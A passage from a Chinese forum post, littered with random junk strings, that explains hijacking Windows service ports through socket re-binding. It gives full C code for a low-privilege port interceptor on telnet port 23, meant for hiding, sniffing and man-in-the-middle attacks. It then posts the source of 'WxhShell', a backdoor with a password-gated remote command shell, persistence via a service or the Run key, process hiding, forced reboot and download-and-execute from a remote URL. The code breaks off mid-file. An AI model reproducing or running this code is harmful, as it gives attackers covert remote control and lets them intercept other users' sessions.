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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \.] U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t/|^Nt@XT  
Di*>PE@  
  saddr.sin_family = AF_INET; >kYyR.p.b  
Je,8{J|e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;rgsPVbVf  
S# #W_OlrI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); fF%r$`2  
jQ*Qh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~55>uw<  
s8Oz^5p(  
  这意味着什么?意味着可以进行如下的攻击: e-mlvi^-  
fp0Va!T(V  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZV;yXLx|  
qv6]YPP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^iNR(cwgX  
uk,f}Xc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tPsU7bFk  
odDt.gQXU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  DxHeZQ"LL  
X!Q"p$D4(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h 8s*FI  
u2QJDLMJv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 J++D\x#@  
)Pq.kn{Sp  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xX ZN<<f59  
S[M$>  
  #include |4vk@0L  
  #include P; Ox|  
  #include WlUE&=|Oz2  
  #include    #Z :r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I/g]9 y  
  int main() 6F2}|c  
  { #LiC@>  
  WORD wVersionRequested; RMXP)[  
  DWORD ret; ^d,d<Uc  
  WSADATA wsaData; 6]VTn-  
  BOOL val; iYnt:C  
  SOCKADDR_IN saddr; y@I"Hk<T  
  SOCKADDR_IN scaddr; pN[i%\vh  
  int err; \XC1/LZQ  
  SOCKET s; c{~*\&  
  SOCKET sc; S:gP\Atf>  
  int caddsize; # V +e  
  HANDLE mt; * 7CI q  
  DWORD tid;   F~EriO  
  wVersionRequested = MAKEWORD( 2, 2 ); k.%F!sK  
  err = WSAStartup( wVersionRequested, &wsaData ); PyYe>a;.  
  if ( err != 0 ) { @y+Wl*:  
  printf("error!WSAStartup failed!\n"); H,'c&  
  return -1; 2.yzR DfZ  
  } *h Ur E  
  saddr.sin_family = AF_INET; 8QU`SoS9  
   EOL03N   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~0L>l J  
E%TvGe;#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #ed]zI9O  
  saddr.sin_port = htons(23); 6*$N@>8&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _wIAr  
  { )jg3`I@  
  printf("error!socket failed!\n"); ,~v1NK*  
  return -1; \2YhI0skW  
  } b~r ?#2K  
  val = TRUE; 79\ =)m}$Q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "='|c-x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?S"xR0 *  
  { &3rh{"^9  
  printf("error!setsockopt failed!\n"); ?pFHpz   
  return -1; 52oR^ |  
  } <iMLM<J<w  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .fgoEB,(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Gv`PCA@/d  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fI6F};I5}T  
~/t# J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6`'^$wKs  
  { -szvO_UP  
  ret=GetLastError(); =3FXU{"Qi4  
  printf("error!bind failed!\n"); \-^3Pe,  
  return -1; dpy,;nqzeN  
  } k,2% %m  
  listen(s,2); d97wiE/i<  
  while(1) *fE5Z;!}  
  { [* Lh4K  
  caddsize = sizeof(scaddr); S5j#&i  
  //接受连接请求 + EM '-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Xr@0RFdr[  
  if(sc!=INVALID_SOCKET) jk~< si  
  { M:ttzsd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sviGS&J9h  
  if(mt==NULL) dG1qrh9_-  
  { Rc u/ @j{O  
  printf("Thread Creat Failed!\n"); \!_ >ul  
  break; k7j;'6  
  } 56fcifXz@  
  } Xs4`bbap  
  CloseHandle(mt); -50|r;a  
  } nF=h|rN  
  closesocket(s); &`@K/Nf$9  
  WSACleanup(); U@H SU%H  
  return 0; 'i}Q R~pe  
  }   [xHK^JP 8F  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q WOd&=:  
  { G*ecM`Bl  
  SOCKET ss = (SOCKET)lpParam; Yt&^ i(  
  SOCKET sc; DwoO([&I  
  unsigned char buf[4096]; AtSEKpKc  
  SOCKADDR_IN saddr; ^s^X nQhE  
  long num; ~GZ(Ou-&  
  DWORD val; y8\44WKW  
  DWORD ret; &",pPu q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OfPWqNpO  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %GJ, &b|  
  saddr.sin_family = AF_INET; ?]:3`;h3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^;L;/I[-  
  saddr.sin_port = htons(23); }_K7}] 1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JD.WH|sZ5  
  { ?>2k>~xlQ  
  printf("error!socket failed!\n"); |@Bl?Bs+  
  return -1; d>2>mT$U  
  } f"z96{zo  
  val = 100; @X|CubJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5@?P 8  
  { %|UCs8EFm  
  ret = GetLastError(); leiP/D6s  
  return -1; < }G7#xg  
  } L.>`;`dmY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZZ#S\*  
  { g^=p)h3  
  ret = GetLastError(); [^#6.xH  
  return -1; XJGOX n$/  
  } 4~D?F'o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) JBp^@j{_  
  { /.P*%'g  
  printf("error!socket connect failed!\n"); < f1Pj  
  closesocket(sc); Y7 = *-  
  closesocket(ss); Ig~lD>dnr'  
  return -1; 2-FL&DE  
  } ;:f.a(~c  
  while(1) ;8H m#p7,  
  { Tw=Jc 's  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %6L{Z*(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,'[0tl}8K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >A#]60w.  
  num = recv(ss,buf,4096,0); Fe}Dnv)}Z  
  if(num>0) !M6*A1g5  
  send(sc,buf,num,0); %+qD-{&  
  else if(num==0) "d9"Md0k  
  break; LJ9^:U  
  num = recv(sc,buf,4096,0); }5\F<b^@Y  
  if(num>0) (z#qkKL{^  
  send(ss,buf,num,0); y^?7de}  
  else if(num==0) ,@Xl?  
  break; p1q"[)WVn^  
  } nKT\/}d  
  closesocket(ss); l@%MS\{  
  closesocket(sc); Ap=L lZ  
  return 0 ; uD_iyK0,  
  } UO>ADRs}  
m!V ?xGKJ  
`$7. (.#s  
========================================================== uPhFBD7  
pri=;I(2A  
下边附上一个代码,,WXhSHELL -r7*C :E  
/{6PwlP5  
========================================================== P-.>vi^+  
g?qm >X  
#include "stdafx.h" 1ve %xF  
x[zt(kC0+  
#include <stdio.h> D:4Iex9$F"  
#include <string.h> (w}iEm\b  
#include <windows.h> h,"K+$  
#include <winsock2.h> LY(YgqL  
#include <winsvc.h> vvwNJyU-  
#include <urlmon.h> )%I2#Q"Nt-  
}KcvNK (  
#pragma comment (lib, "Ws2_32.lib")  \9N1:  
#pragma comment (lib, "urlmon.lib") yHsmX2s  
,3=|a|p  
#define MAX_USER   100 // 最大客户端连接数 INZs DM 9  
#define BUF_SOCK   200 // sock buffer A\X?Aq-^'  
#define KEY_BUFF   255 // 输入 buffer :Xq qhG  
D6fry\  
#define REBOOT     0   // 重启 >{C=\F#*L  
#define SHUTDOWN   1   // 关机 ~bC{ R&p  
Yi1lvB?m  
#define DEF_PORT   5000 // 监听端口 kaq H.e(  
jvv3;lWDL.  
#define REG_LEN     16   // 注册表键长度 `7[z%cuK  
#define SVC_LEN     80   // NT服务名长度 V.?N29CA|  
|uf{:U)  
// 从dll定义API YMb\v4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >)\x\e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m^I+>Bp/:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZCVwQ#Xe+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )RG@D\t,  
%5Q5xw]w3  
// wxhshell配置信息 ji9 (!G  
struct WSCFG { "^Y)&<J&  
  int ws_port;         // 监听端口 {}RE;5n\['  
  char ws_passstr[REG_LEN]; // 口令 }86&? 0j.  
  int ws_autoins;       // 安装标记, 1=yes 0=no GG<{n$h  
  char ws_regname[REG_LEN]; // 注册表键名 g<(3wL,"  
  char ws_svcname[REG_LEN]; // 服务名 bk^W]<:z`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LX;w~fRr.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M$iDaEu-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z\c^CN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _$g6Mj]1z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iZm# "}VG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4LO4SYW7  
HtY0=r  
}; )lh48Ag0t;  
}ya@*jH  
// default Wxhshell configuration 5G  @  
struct WSCFG wscfg={DEF_PORT, sF-{ (  
    "xuhuanlingzhe", P&I%!'<   
    1, A@M%}h  
    "Wxhshell", TkHyXOk"Ky  
    "Wxhshell", _sLSl; /t  
            "WxhShell Service", [&y="6No  
    "Wrsky Windows CmdShell Service", s[<a(  
    "Please Input Your Password: ", B6 rz  
  1, EC#4"bU`'2  
  "http://www.wrsky.com/wxhshell.exe", nwSujD  
  "Wxhshell.exe" $$'a  
    }; nz_=]PHO&  
3>vSKh1z  
// 消息定义模块 {P/ sxh:e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V;}kgWc1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; : :?,ZA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I!LSD i3  
char *msg_ws_ext="\n\rExit."; S=NP}4w,_)  
char *msg_ws_end="\n\rQuit."; /L|$* Xj  
char *msg_ws_boot="\n\rReboot..."; 4PdJ  
char *msg_ws_poff="\n\rShutdown..."; p=13tQS<  
char *msg_ws_down="\n\rSave to "; ^<u9I5?  
p>x[:*  
char *msg_ws_err="\n\rErr!"; xAlyik  
char *msg_ws_ok="\n\rOK!"; Z/ w}so  
5~8FZ-x  
char ExeFile[MAX_PATH]; ly_@dsU'  
int nUser = 0; MX*T.TG8  
HANDLE handles[MAX_USER]; ;&iZ {  
int OsIsNt; lSW6\jX  
F"I{_yleq'  
SERVICE_STATUS       serviceStatus; -O&u;kh4g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [te9ui%JS  
CB!5>k+mC  
// 函数声明 "p Rr>Fa  
int Install(void); `3wzOMgJ  
int Uninstall(void); t?&@bs5~g  
int DownloadFile(char *sURL, SOCKET wsh); Xgb ~ED]  
int Boot(int flag); sWtT"7>x  
void HideProc(void); 7tZvz `\  
int GetOsVer(void); 1VXyn\  
int Wxhshell(SOCKET wsl); $!Qv f  
void TalkWithClient(void *cs); WF#3'"I  
int CmdShell(SOCKET sock); mE>v (JY  
int StartFromService(void); >{ /As][  
int StartWxhshell(LPSTR lpCmdLine); lRO7 Ae  
,q_'l?Pn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p-CBsm5P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \}:RG^*m  
A5WchS'  
// 数据结构和表定义 -9D2aY_>  
SERVICE_TABLE_ENTRY DispatchTable[] = c>~q2_} W(  
{ n7EG%q6m+  
{wscfg.ws_svcname, NTServiceMain}, Uj/m  
{NULL, NULL} #saK8; tp  
}; ='rSB.$Ctk  
KzgW+6*G  
// 自我安装 A,H|c="  
int Install(void) _0GM!Cny  
{ (B/od#nU  
  char svExeFile[MAX_PATH]; W~W `fm  
  HKEY key; ,V`zW<8  
  strcpy(svExeFile,ExeFile); [<0\v<{`L  
k'6Poz+<  
// 如果是win9x系统,修改注册表设为自启动 %jBI*WzR  
if(!OsIsNt) { '!V5 #J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /7`fg0A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'gD,H X  
  RegCloseKey(key); 1J{1>r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $T#yxx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  UZ*Yt  
  RegCloseKey(key); NP+*L|-;  
  return 0; C<G`wXlP|  
    } M= ]]kJ:I  
  } XT "-   
} LK>J]p  
else { G=VbEL^H  
>du _/*8:  
// 如果是NT以上系统,安装为系统服务 BH;7CK=7R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~ZxFL$<'3  
if (schSCManager!=0) )8,)&F  
{ vG2&qjY1  
  SC_HANDLE schService = CreateService :c?}~a~JO(  
  ( !kpnBgmU  
  schSCManager, ^7p>p8  
  wscfg.ws_svcname, <jjn'*44f  
  wscfg.ws_svcdisp, S&q(PI_"  
  SERVICE_ALL_ACCESS, th4yuDPuA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =Rw-@ *#l  
  SERVICE_AUTO_START, s/+k[9l2  
  SERVICE_ERROR_NORMAL, PV(TDb:0  
  svExeFile, o6b\ w  
  NULL, `@tn Eg  
  NULL, }#bX{?f  
  NULL, WVMkLMg8d  
  NULL, MJ% gF=$X  
  NULL {>]7xTpwZ  
  );  "d3qUk  
  if (schService!=0) ;ND)h pD+  
  { w(6(Fze  
  CloseServiceHandle(schService); 0hCrEM!8  
  CloseServiceHandle(schSCManager); zZh\e,*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .ou#BWav/  
  strcat(svExeFile,wscfg.ws_svcname); +\D?H.P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "Vw;y+F}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WU:r:m+ >  
  RegCloseKey(key); ;zpSyyp@  
  return 0; 13f@Ox$  
    } _?m%i]~o  
  } J;R1OJs S  
  CloseServiceHandle(schSCManager); '*d);{D8  
} RIg `F#, 3  
} :}n\ r/i  
97L|IZ s)  
return 1; #ouE, <  
} Pkq?tm$#  
}b$W+/M\  
// 自我卸载 nyRQ/.3  
int Uninstall(void) U%qE=u-  
{ 3B^`xnV  
  HKEY key; kCVO!@yZz  
^DaP^<V  
if(!OsIsNt) { I<}<!.Bc!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?E2$  
  RegDeleteValue(key,wscfg.ws_regname); ,bU 8S\8  
  RegCloseKey(key); h+"UK=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c&]nAn(  
  RegDeleteValue(key,wscfg.ws_regname); ]hC6PKJU  
  RegCloseKey(key); 1 Vq)& N  
  return 0; MEled:i  
  } o 00(\ -eb  
} R>CIEL  
} 6 h%%?  
else { 8~6H\.0Q  
h!4jl0 oX]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s<hl>vY_'  
if (schSCManager!=0) qTV;L-  
{ ->q^$#e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '^# =,+ A  
  if (schService!=0) D>>?8a  
  { rd\:.  
  if(DeleteService(schService)!=0) { 7#G8qh<  
  CloseServiceHandle(schService); 8 mFy9{M  
  CloseServiceHandle(schSCManager); <,\Op=$l3I  
  return 0; NW AT"  
  } L^b /+R#  
  CloseServiceHandle(schService); 6!Z>^'6  
  } p@Va`:RDW  
  CloseServiceHandle(schSCManager); -w3KBlo  
} )B1gX>J\8  
} Zk .V   
+Dwq>3AH  
return 1; 8gK  <xp  
} B*c@w~E  
4eh~/o&h  
// 从指定url下载文件 W5c?f,  
int DownloadFile(char *sURL, SOCKET wsh) :IB@@5r1  
{ O% }EpIP_  
  HRESULT hr; K|Kc.   
char seps[]= "/"; ("!P_Q#  
char *token; .9'bi#:Cw  
char *file; L';b908r2  
char myURL[MAX_PATH]; {<J(*K*\Jo  
char myFILE[MAX_PATH]; UU;U,q  
uNoP8U%*  
strcpy(myURL,sURL); !YZ$WiPl  
  token=strtok(myURL,seps); WNo",Vc  
  while(token!=NULL) L?:fyNA3[  
  { `rQDX<?  
    file=token; )o[Jxu'  
  token=strtok(NULL,seps);  gK Uci  
  } =e j'5m($3  
_O w]kP='  
GetCurrentDirectory(MAX_PATH,myFILE); (t%+Z"j  
strcat(myFILE, "\\"); 6vL+qOdx  
strcat(myFILE, file); CG397Y^  
  send(wsh,myFILE,strlen(myFILE),0); ]\ DIJ>JZ  
send(wsh,"...",3,0); M>m+VsJV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fx#Krr @  
  if(hr==S_OK) R&P}\cf8T  
return 0; <{"Jy)Uf  
else C(jUM!m  
return 1; +@5@`"Jry  
8RE"xJMff  
} Q(0eq_X|6  
G1z0q3< B  
// 系统电源模块 Qi?xx')  
int Boot(int flag) \'[C_+;X  
{ 5<=ktA48[  
  HANDLE hToken; {EL J!o[  
  TOKEN_PRIVILEGES tkp; E!SxO~  
g71|t7Q  
  if(OsIsNt) { 16Gp nb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1*vt\,G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {CH *?|t  
    tkp.PrivilegeCount = 1; l+n0=^ Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /tqQAvj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p*l]I *x'<  
if(flag==REBOOT) { Ph Ep3o&"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JA(M'&q4  
  return 0; KvtX>3#qM  
} PD$@.pib  
else { '3'*VcL(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _1EWmHZ?  
  return 0; ! {c"C  
} Z7:TPY$b  
  } Sn~h[s_(  
  else { sY*iRq  
if(flag==REBOOT) { R.rxpJ+kU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W{js9$oJ  
  return 0; Z.x9SEe1t  
} @Z{!T)#}j  
else { o%1dbbh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q(iM=IeiN  
  return 0;  XeRbn  
} `^#V1kRmH  
} 1 ^q~NYTK  
trAIh}Dj  
return 1; KH_~DZU*5  
} eT<T[; m  
8H<:?D/tH  
// win9x进程隐藏模块 Zwm2T3@e  
void HideProc(void) ~SD8#;v2  
{ w>6~ zAh  
'$m uA\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8<X,6  
  if ( hKernel != NULL ) KB6'sj  
  { R3\oLT4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ujH ^ML  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,R8:Y*@P  
    FreeLibrary(hKernel); 10`]&v]T  
  } >|!s7.H/J/  
.e|VW)  
return; 8/oO}SLF  
} l:?w{'i$  
gxf{/EjH  
// 获取操作系统版本 %V2A}78  
int GetOsVer(void) hErO.ad1o  
{ t.YY?5 l  
  OSVERSIONINFO winfo; `:y {  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _Vl22'wl  
  GetVersionEx(&winfo); WY3D.z-</  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yWkg4  
  return 1; mO|YX/>  
  else p%?m|(4f  
  return 0; c u:1|gt  
} Ed$;#4  
L28DBjE)A  
// 客户端句柄模块 64jFbbd-/  
int Wxhshell(SOCKET wsl) O>)Fl42IeD  
{ p.50BcDg  
  SOCKET wsh; ,ag:w<km  
  struct sockaddr_in client; CpG]g>]L&[  
  DWORD myID; =MCQNyf+  
pjVF^gv,*  
  while(nUser<MAX_USER) ICxj$b  
{ ,Q>Rt V  
  int nSize=sizeof(client); r'5~4'o$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,y%4QvG7a  
  if(wsh==INVALID_SOCKET) return 1; :K]&rGi,  
<{xU.zp'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zFpM\{`[g  
if(handles[nUser]==0) .W/#$s|X\  
  closesocket(wsh); N# ?}r>W3  
else .{}=!>U2  
  nUser++; h:qt?$]J  
  } %hM8px4d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0%f}w0]:  
XNd%3rm,  
  return 0; KDQqN]rg  
} Yfotq9.=+  
gZ b +m  
// 关闭 socket :<w2j 6V  
void CloseIt(SOCKET wsh) Q^c)T>OAI  
{ LFHzd@Y7"  
closesocket(wsh); R_ |Sg  
nUser--; ~0 5p+F)  
ExitThread(0); TcjTF|q>  
} piv/QP-X  
`$hna{e^n  
// 客户端请求句柄 !Ic{lB   
void TalkWithClient(void *cs) % bpVK~z  
{ (^)" qs B  
g4"0:^/  
  SOCKET wsh=(SOCKET)cs; BXx0Z %e.3  
  char pwd[SVC_LEN]; t!S ja  
  char cmd[KEY_BUFF]; 9+!1jTGSkf  
char chr[1]; |y T-N3H@  
int i,j; AXmW7/Sj"  
,-[e{=Cz  
  while (nUser < MAX_USER) { dH8^\s .F  
'1u!@=.\G  
if(wscfg.ws_passstr) { ZA>p~Zt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y  c]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (}jYi*B  
  //ZeroMemory(pwd,KEY_BUFF); FK~FC:K  
      i=0; J#OiY  
  while(i<SVC_LEN) { JxlU=7cF  
1>wQ&{  
  // 设置超时 g~#HiBgWq[  
  fd_set FdRead; ZM$}Xy\9  
  struct timeval TimeOut; FR%u1fi  
  FD_ZERO(&FdRead); yv&VK ht  
  FD_SET(wsh,&FdRead); sb^%eUU])  
  TimeOut.tv_sec=8; N%:)MT,&g  
  TimeOut.tv_usec=0; U! xOJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nS`DI92I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y;1 'hP&  
s'Op|`&X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]`S35b  
  pwd=chr[0]; 7 g2@RKo  
  if(chr[0]==0xd || chr[0]==0xa) { tOQura  
  pwd=0; |}YeQl  
  break; 2wKW17wj,  
  } O,>`#?  
  i++; [LcHO] _^M  
    } =%UX"K`  
$&>z`bAS>  
  // 如果是非法用户,关闭 socket p=-:Z?EW1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `tZ-8f  
} _t+.I9kQ  
"h>B`S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `VB]4i}u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EoOB0zo}Y+  
)X dpzWod  
while(1) { &-s/F`  
beN(7jo  
  ZeroMemory(cmd,KEY_BUFF); Q8^fgI|  
_#2AdhCu  
      // 自动支持客户端 telnet标准   Q, 1TD 2)h  
  j=0; x<-n}VK\  
  while(j<KEY_BUFF) { P{{pp<tX*&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K}(0H[P  
  cmd[j]=chr[0]; fQtV-\Bc  
  if(chr[0]==0xa || chr[0]==0xd) { -55Pvg0ND  
  cmd[j]=0; 68pB*(i  
  break; B > sTM  
  } ?cF-w!>o8  
  j++; k;AV  'r  
    } v]tNJ=aI  
!VF.=\iH/  
  // 下载文件 g/2eY$6Z  
  if(strstr(cmd,"http://")) { :Jz@`s1n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AzwG_XgM)  
  if(DownloadFile(cmd,wsh)) k8~/lE.Wy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H$j`75#u?-  
  else ) C?emTih  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :gvw5h%  
  } P%-@AmO^_  
  else { )w.\xA~|  
k~<b~VcU  
    switch(cmd[0]) { /M.@dW7 w  
  p%_m!   
  // 帮助 Ul41R Ny)  
  case '?': { mROXwzL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _Coh11  
    break; T<\!7 RnLc  
  } G31??L:<  
  // 安装 e{8j(` (;#  
  case 'i': { qg(rG5kD@  
    if(Install()) h)vRvfcmY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  YjV-70'  
    else e=]>TeqG0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]I|3v]6qR  
    break; :=I@<@82W  
    } pu"`*NL  
  // 卸载 3*DwXH+  
  case 'r': { WrS|$: 0  
    if(Uninstall()) )7H s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;g0p`wV  
    else DKcg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \8I>^4t'/  
    break; C9`J6Uu  
    } @y#QHJ.j  
  // 显示 wxhshell 所在路径 UX9r_U5)  
  case 'p': { $h({x~Oj9  
    char svExeFile[MAX_PATH]; N0D)d  
    strcpy(svExeFile,"\n\r"); <}^W9 >u<  
      strcat(svExeFile,ExeFile); G O=&  
        send(wsh,svExeFile,strlen(svExeFile),0); L;n2,b  
    break; J:{$\m'  
    } D`t }V  
  // 重启 2!Mwui;%  
  case 'b': { /Ww_fY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T2nbU6H  
    if(Boot(REBOOT)) 7H1 ii   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5g{L -8XwI  
    else { `3v! i   
    closesocket(wsh); I^5T9}>Q  
    ExitThread(0); Or0eY#c  
    } :OF:(,J  
    break; qrFC4\q}  
    } b :Knc$  
  // 关机 $7#N@7  
